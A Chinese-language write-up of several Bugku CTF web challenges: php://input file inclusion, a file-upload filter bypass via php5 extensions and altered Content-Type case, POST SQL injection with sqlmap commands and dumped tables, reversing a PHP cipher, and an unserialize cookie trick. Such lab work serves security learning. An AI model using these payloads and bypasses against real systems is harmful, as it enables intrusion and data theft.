1、题目提示txt,我们猜想文件是flag.txt,访问http://123.206.87.240:8002/web8/flag.txt得到flag.txt的内容flags,payload:http://123.206.87.240:8002/web8/?ac=flags&fn=flag.txt

2、利用file_get_contents文件包含漏洞。参考Web安全实战系列:文件包含漏洞0×04 PHP伪协议中php://input (读取POST数据)。碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据。

1
2
http://123.206.87.240:8002/web8/?ac=willv&fn=php://input
post:willv

有一个奇怪的问题,post这道题的数据时,用Chrome和Firefox的HackBar都拿不到结果,最后用了Postman才拿到flag,很奇怪。

flag{3cfb7a90fc0de31}

细心

地址:http://123.206.87.240:8002/web13/

想办法变成admin

直接访问什么都没有。扫一下目录发现robots.txt

1
2
User-agent: *
Disallow: /resusl.php

访问resusl.php获得提示if ($_GET[x]==$password)

传参x=admin获取flag

flag(ctf_0098_lkji-s)

求getshell

求getshell

http://123.206.87.240:8002/web9/

这道题很迷。我就说一下这道题怎么绕过吧。

  1. 上传文件后缀改为php5
  2. header里的Content-Type:multipart/form-data改为Content-Type:multipart/form-Data(随便大写一个就行)

php的其它后缀有:php2, php3, php4, php5, phps, pht, phtm, phtml

KEY{bb35dc123820e}

这是一个神奇的登陆框

http://123.206.87.240:9001/sql/

flag格式flag{}

post注入,sqlmap一把梭

先用Burpsuite保存一下请求,然后一把梭

python sqlmap.py -r 1.txt --dbs

1
2
3
available databases [2]:
[*] bugkusql1
[*] information_schema

python sqlmap.py -r 1.txt -D bugkusql1 --tables

1
2
3
4
5
6
Database: bugkusql1
[2 tables]
+--------+
| flag1 |
| whoami |
+--------+

python sqlmap.py -r 1.txt -D bugkusql1 -T flag1 --dump

1
2
3
4
5
6
7
8
Database: bugkusql1
Table: flag1
[1 entry]
+----------------------------------+
| flag1 |
+----------------------------------+
| ed6b28e684817d9efcaf802979e57aea |
+----------------------------------+

flag{ed6b28e684817d9efcaf802979e57aea}

PHP_encrypt_1(ISCCCTF)

fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=

PHP_encrypt_1.zip

下载附件,里面是一个php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
?>

题目给了一个Base64字符串:fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=

源码逻辑很简单,通过md5计算得到key,再用循环将key的长度延长到和flag一样,最后做了一个加和然后取余,加密的核心其实就是这一行

1
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);

data就是flag。我们知道了最后的str,char也可以通过前面的循环直接计算。

1
2
key=729623334f0aa2784a1599fd374c120d
char=729623334f0aa2784a1599fd374c120d729623

可以化简得到一个Python版的加密代码

1
2
3
4
5
6
7
8
9
key = '729623334f0aa2784a1599fd374c120d'
flag = '' # 不知道,要逆推
char = '729623334f0aa2784a1599fd374c120d729623'
data = ""
for i in range(38):
data = data+chr((ord(flag[i])+ord(char[i])) % 128)

import base64
print(base64.b64encode(data.encode('utf-8')))

编写解密脚本得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# -*- coding: UTF-8 -*-
import base64
import hashlib

data=base64.b64decode("fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=").decode("utf-8")
key=hashlib.md5(b'ISCC').hexdigest()
# key = '729623334f0aa2784a1599fd374c120d'
char=''
x=0
for i in range(len(data)): # len=38
if x == len(key): #klen=32
x = 0
char = char+key[x]
x = x+1
# char = '729623334f0aa2784a1599fd374c120d729623'
flag=''
for i in range(len(data)):
if data[i]<char[i]:
a=ord(data[i])-ord(char[i])+128
else:
a=ord(data[i])-ord(char[i])
flag=flag+(chr(a))

print(flag)

flag.php

地址:http://123.206.87.240:8002/flagphp/

点了login咋没反应

提示:hint

这道题有点坑。。。

根据提示,访问http://123.206.87.240:8002/flagphp/?hint得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?>

对cookie进行反序列化然后与KEY比较,相等则显示flag。

需要注意,KEY在比较时还没有声明并赋值,所以比较时的KEY其实是空。还需要注意的一点是,比较时的是"$KEY"有双引号,如果直接对null反序列化是不行的。其实可以直接写个php来得到结果。

1
2
3
4
5
<?php
error_reporting(0);
echo serialize("$KEY");
$KEY='ISecer:www.isecer.com';
?>

结果是s:0:"";

然后带上cookie(Cookie: ISecer=s:0:"";)去请求即可得到flag

0%